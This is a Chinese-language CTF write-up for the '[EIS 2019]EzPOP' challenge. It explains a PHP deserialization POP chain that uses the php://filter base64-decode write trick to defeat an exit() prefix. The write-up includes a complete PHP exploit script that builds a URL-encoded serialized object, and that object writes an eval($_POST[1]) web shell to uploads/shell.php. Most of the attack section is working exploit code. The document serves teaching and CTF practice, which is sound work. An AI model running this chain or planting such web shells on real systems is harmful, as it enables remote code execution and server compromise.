[EIS 2019]EzPOP
考点
php://filter/write绕过“死亡exit”
wp
给了源码,返回头看到PHP版本7.3。其实这里不给源码也可以做,用arjun
可以探测参数,存在参数src
,传入就可以看到源码了。
给了源码,一点一点看。首先定义两个类,然后GET的src参数,上传目录uploads/
,最后反序列化data
确定是反序列化,然后找__destruct()
作为入口,可以锁定class A
,然后$this->autosave
为false
,然后不断向上调用
getForStorage()
那一大块可以写成一段代码,这段代码意思举个例子解释,比如array("0"=>array("path"=>"a"))
,处理之后就是array("0"=>"a")
,感觉有点多此一举。再json_encode一下,变成一个字符串。在getForStorage()
后执行的是 $this->store->set()
,由此跳转到class B
复制 function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
$cache = array("0"=>array("path"=>"a"));
$cleaned = cleanContents($cache);
var_dump(json_encode([$cleaned, "2"]));
到这可以先写一下A类的序列化
复制 class A{
protected $store;
protected $key;
protected $expire;
public function __construct($store){
$this->key = 'tmp1';
$this->expire= 'tmp2';
$this->store= $store;
}
}
$b = new B();
$a = new A($b);
$a->cache = array("tmp3");
$a->complete = "tmp4";
然后看class B
的set函数,接收的三个参数分别是$name
,$value
,$expire
,分别与$a->key
,json_encode([$a->cache, "2"])
,$a->expire
相关联。然后把$expire
转化为整型,用$this->options['prefix']
拼接$name
,处理$filename
,这里感觉也没啥用,对$filename
和$expire
处不处理并没有多大影响,更像是从哪个项目里复制出来的。
然后看一下$value
的处理,它的值应该是类似于这种[[{"path":"a"}],2]
,或者是这种[["a"],2]
,把它作为参数传给$this->serialize()
,在这个函数里面可以执行任意函数,但是没有函数的参数是像$value
那种,所以这里最好是保持空过,$serialize
就可以是trim
或者strval
之类的函数
复制 protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
接着往后看,这里的if是是否进行数据压缩,$this->options['data_compress']
置为false,跳过这一步。sprintf('%012d', $expire)
是把$expire
左补齐12位,如果$expire
是11,那么这个结果就是000000000011
。再看这两行行,就是典型的php://filter的妙用,绕过“死亡exit”。$data
为要写入的shell,$filename
为php://filter/write=convert.base64-decode/resource=shell.php
复制 if ($this->options['data_compress'] && function_exists('gzcompress')) {
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
在$data =
那一行中,可以被base64识别的是php000000000011exit
这19个字符,要在shell中补字符直到总长度符合base64解码规范
复制 class A{
protected $store;
protected $key;
protected $expire;
public function __construct($store){
$this->key = 'uploads/shell.php';
$this->expire= 1;
$this->store= $store;
}
}
class B{}
$b = new B();
$b->options['data_compress'] = false;
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$b->options['serialize'] = "trim";
$a = new A($b);
/* <?php eval($_POST[1]);?>*/
$a->cache = array("PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+");
$a->complete = 2;
如果这样生成代码,得到的value是[["PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+"],2]
,前面是21个字符,中间补3个,后面补3个,最后cache是array("aaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+aaa")
完整代码
复制 <?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct($store){
$this->key = 'uploads/shell.php';
$this->expire= 1;
$this->store= $store;
}
}
class B{}
$b = new B();
$b->options['data_compress'] = false;
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$b->options['serialize'] = "trim";
$a = new A($b);
/* <?php eval($_POST[1]);?>*/
$a->cache = array("aaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+aaa");
$a->complete = 2;
echo urlencode(serialize($a));
小结